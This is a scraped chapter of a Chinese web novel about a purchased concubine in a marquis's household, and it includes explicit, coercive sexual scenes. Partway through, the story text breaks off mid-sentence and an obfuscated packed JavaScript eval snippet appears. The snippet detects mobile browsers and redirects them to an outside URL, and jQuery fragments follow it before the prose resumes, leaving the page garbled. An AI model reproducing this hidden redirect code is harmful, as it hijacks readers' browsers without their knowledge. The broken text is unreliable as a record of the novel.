默认冷灰
24号文字
方正启体

14. 归家

作者:手作小金鱼本书字数:K更新时间:
    卫凌霜有了钱,先派侯府的人去赎了璠妹妹,给她足以安稳过一生的银两,因她自己来日还不知是个什么下场,便没有让妹妹来侯府,甚至没有告诉她是霜姐姐赎的她。至于沅妹妹和涟妹妹,人牙行将她们卖给了远来的客商,早已离了京城,不知所踪,卫凌霜鞭长莫及。


    阖府都知道林大姑娘讨厌霜姨娘,虽同在内宅,但在花园,长廊,湖畔,任何地方,林大姑娘偶遇霜姨娘,都会立刻转身离开。


    荷风榭谢绝卫凌霜入内,卫凌霜去找林忆慈,后者也总是疾步离开,不仅不说话,眼神也不肯和她对上。


    久而久之,卫凌霜最常踏足的只有书房和栖霞苑。


    书房摆着许多书,兵书史书军籍她都翻了两页便丢下了,只有书架角落的话本子有趣,卫凌霜一本本看了过去,林琰见她如此,令小厮淘了许多杂书来,专门置了书架放她喜欢的书。林绥被收缴的藏书都成了卫凌霜的。


    栖霞苑里她和林琰夜夜同寝,她知道妾室应该被另置院落,但林琰没有这么做。她的衣裳,脂粉,喜欢的各种小物件儿都放在栖霞苑,卧房是他们两人的。


    林琰颇有种新婚夫妻的快乐,夜夜红烛高照,他正值壮年,体格精壮,卫凌霜只能快活到途中,往后就只能忍着任他折腾。


    夜半三更,灯花结蕊,几个婢子端来热水伺候罗帐中的二人擦身,随后出屋掩门。


    卫凌霜软软瘫在床上,连动一根手指的力气都没有了。


    林琰指尖绕着她一缕青丝玩儿,叹道:“忆慈这些日子消沉了许多。”


    卫凌霜枕在他臂弯中,闭着眼睛,“我懂她的感觉。”


    很诡异,很怪异,令人作呕。


    “我知道她近来老是躲着你,我会和她说说,过段时日,她总会接受的。”


    卫凌霜的食指抵在他唇上,呢喃道:“侯爷,睡吧。”


    轮到她不想在这时候谈论林忆慈了。


    林琰轻握住她的手,依了她。


    林琰正值休沐,昨夜放开了折腾,和她睡到日上三竿才起来,卫凌霜坐在镜前梳发,他一手撑颐,侧在床上看她的背影。


    “霜霜。”林琰忽道。


    卫凌霜梳头的手一顿,转头看他,锦被只盖至他劲瘦的腰腹,林琰敞着精壮的胸膛,手臂筋肉紧实,俊容还残留昨夜尽欢的餍足。


    “侯爷怎么这样唤我?”


    “霜儿的儿轻飘飘的,不如霜霜,念两次,都在实处。”他微有笑意,“我一辈子能念的霜字翻了一番。”


    他们到底隔了十七年,他一定会早走。


    卫凌霜转头看镜子,“侯爷喜欢,就叫霜霜吧。”


    “你也不该一直叫我侯爷。”林琰下了床,走到她身后,轻嗅她发丝上刚擦的桂花油淡淡的香气,“我是你的夫君。”


    卫凌霜怔怔看着镜中的自己,忽觉胸口被捶了一下,有些喘不过气。


    “侯爷,霜儿只是妾,不敢称您是夫君。”


    她又融化了一点儿。


    林琰觉得过去的卫大姑娘还是想要一个正婚,他俯身亲吻她的脸颊,“霜霜,我……”他将接下来的话淹没在细密的炽热亲吻中。


    他对亡妻的坚持裂开了小小的一条缝,他想,自己总得在死前扶霜霜做正妻,侯夫人这个名分可以让她在他走后也能活得很好。


    初秋,林琰和林忆慈接到信,闽浙总督返京的车驾已在百里外的驿馆,林绥决定快马先回京。一早他们便去了城外三十里长亭候着。


    等到日头西斜,官道尽头有一骏马驰来,马背上的少年青隽如玉,意气风发,奔至亭前,下了马。


    林绥一撩衣摆,半跪在地,向面前的父亲拜了一礼,才站起来,林忆慈就哭着抱住他。


    林绥面对父亲时淡淡薄薄的笑容变得真切,笑意落进眼底,摸摸妹妹的脑袋,“忆慈,我回来了。”


    林忆慈哭得更大声了。


    接风洗尘宴上,林琰等林绥给忆慈大致讲完这一年的游历,轻咳一声,道:“绥儿,为父前些日子纳了妾。”


    林绥失了笑意,“父亲纳的是谁?”


    “是买来的,叫霜儿。”


    林绥看向妹妹,见她低着头,肩头轻颤,似是气似是怨似是悲。


    他轻抚妹妹肩头,对林琰道:“父亲纵然宠爱妾室,也不该冷落了忆慈,我瞧妹妹像是受了什么委屈。”


    林琰道:“为父何尝冷落过忆慈?”


    “那就是父亲的妾室同妹妹相处得不快了?”


    林忆慈哽咽道:“我只是不想她做父亲的女人。”


    林琰道:“忆慈,你总得接受霜儿。”霜儿两字念得颇重。


    林忆慈再也受不了了,站起来道:“我不喜欢这个霜儿!”她疾步出了饭厅,径直回了荷风榭。


    父子相对无言,林绥起身告欠,去追妹妹。


    林琰吩咐周祥家的,“你去看着他们,提防大姑娘说些不该说的。”


    林琰回了栖霞苑,见独自在房中用完饭的卫凌霜抱膝坐在榻上,怔怔看着窗外,他坐到她旁边。


    卫凌霜勉强笑了笑,“侯爷,你们用完饭了?”


    “用完了。”


    二人静静坐着,都没有提起那个人。


    周祥家的来道:“侯爷,大姑娘什么也没说,哭着回了荷风榭,不让大公子进去。”


    林琰让她退下。忆慈今日不说,日后提防着些,也不会说出真相,几个月后她出了阁,这个秘密就可以永远掩埋了。


    卫凌霜听见大公子就在她曾去过的荷风榭门外,怔怔的,怅然若失。


    祖父给她定的未婚夫。


    祖父说:“霜霜,爷爷仔细看过林绥了,他一定能让霜霜幸福。爷爷的小霜霜从出生到百岁,都会是世上最无忧无虑的人。”


    大哥哥,大哥哥。


    林琰见她失了神,道:“霜霜,在想谁?”


    卫凌霜回过神来,“忆慈在哭,我想去安慰她。”


    “让她自己静一静吧。”林琰觉得她去只能唤醒女儿心中的卫凌霜,而不是霜姨娘,只会适得其反。


    他又道:“霜霜,我不在的时候别出栖霞苑。”


    卫凌霜立刻道:“侯爷,你白天常在外忙军务,我被关在这里,会闷出病的,况且不许我出院子,大公子知道了岂不生疑?”


    想宅在栖霞苑和被关在栖霞苑,截然不同。


    林琰默然良久,道:“好吧。”他轻搂住她,“我信你。”


    次日林琰上朝回府,在书房处理了一会儿公务,便让人唤卫凌霜来。他从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092139|195474||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来不要她添茶倒水,侍奉在侧,只任她或看自己喜欢的书,或躺在榻上小憩。他只时不时抬头看一眼她可可爱爱的模样,便可解劳。


    卫凌霜来了,一如往常趴在窗边榻上看书,不时捡块小几上的点心扔进嘴里。


    林琰见阳光倾照在卫凌霜身上,她翘着的脚丫似两芽玉兰花苞,莹莹生光,他坐到她身边,握住一只脚揉捏。


    卫凌霜只埋头看书,当他不在,但身子微颤,不时应着林琰的动作发出呜呜声。


    林琰俯身看她在读什么,不过是消遣用的杂书,他道:“霜霜,还有一种书,想不想看?”


    “什么书?”卫凌霜兴致盎然。


    林琰取了来给她,卫凌霜才翻开一页,丢回他怀里,“我才不看。”她红着脸道:“这种事也能做书?还带画儿。”


    林琰笑道:“左不过是房中用来助兴的,霜霜,我们每一页都试试。”


    卫凌霜又拿过来粗粗翻了一遍,各种场景,榻上,案上,汤泉里,假山中,秋千上,花丛中,还因地制宜,就地取材,各种姿势,有些她看着都疼。


    她把书抱在怀里不让林琰拿,“不行!”得找个机会把这书烧了。


    “在屋外的就罢了。”侯府中多的是仆婢,还有一双儿女,林琰还是要脸的。


    “屋里的也不行。”卫凌霜底气不足,觉得自己的抗议不会有任何作用。


    果然,林琰自顾自道:“我看好在书房里的一种了。”他抱起卫凌霜,让人坐到案上。


    “哪一页?”卫凌霜赶紧翻书,手都在颤,想提前做个心理准备。


    林琰很好心地翻给她看。


    卫凌霜瞄了一眼就要跑,被林琰摁回案上,“霜霜,听话。”


    他的声音没有温存时的宠溺纵容,和他吩咐下人时的清冷语气没有任何区别,只稍稍喑哑。


    他知道卫凌霜不敢违逆他认真下的令。


    她也确实不敢动了。


    一件件衣裳飘落在地,卫凌霜见他从笔架上取了只紫檀木管提笔,笔尖紫毫蓬大,颤声道:“求侯爷……疼惜。”


    林琰笑道:“霜霜,我最疼你了。”


    卫凌霜发出呜呜幽咽之声,比往日的更加颤巍巍,痒得想动,但被他搂在怀里,无处可躲。


    玩了许久,他心满意足了,打算继续批公文,卫凌霜蜷缩在宽大的书案上,尚觉无力,“这笔扔了吧。”


    林琰自然不会用这支笔批公文,公文可是要下发或上奏,经别人之手的,他挑了支新的,笑道:“我自收着就是。”


    “我想回房洗洗身子。”


    “去吧。”


    卫凌霜忙穿上衣裳,拿了书就往外走。


    “霜霜。”林琰叫住了她:“礼尚往来,今儿晚上由你选一页卧房里的。”


    卧房篇虽然看似平平无奇,但还是有不少巧思的。


    “……是,侯爷。”礼全是她,没有往来。


    “这书最近风靡京城,刊印了好多版,买它不费劲。”林琰意味深长地道。


    “……霜儿知道了。”


    卫凌霜疾步拉开门,明媚的秋日阳光照在她脸上,照着在廊下静静站了许久的少年。


    虽是初见,但卫凌霜知道他就是原本能让她幸福一生的那个人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)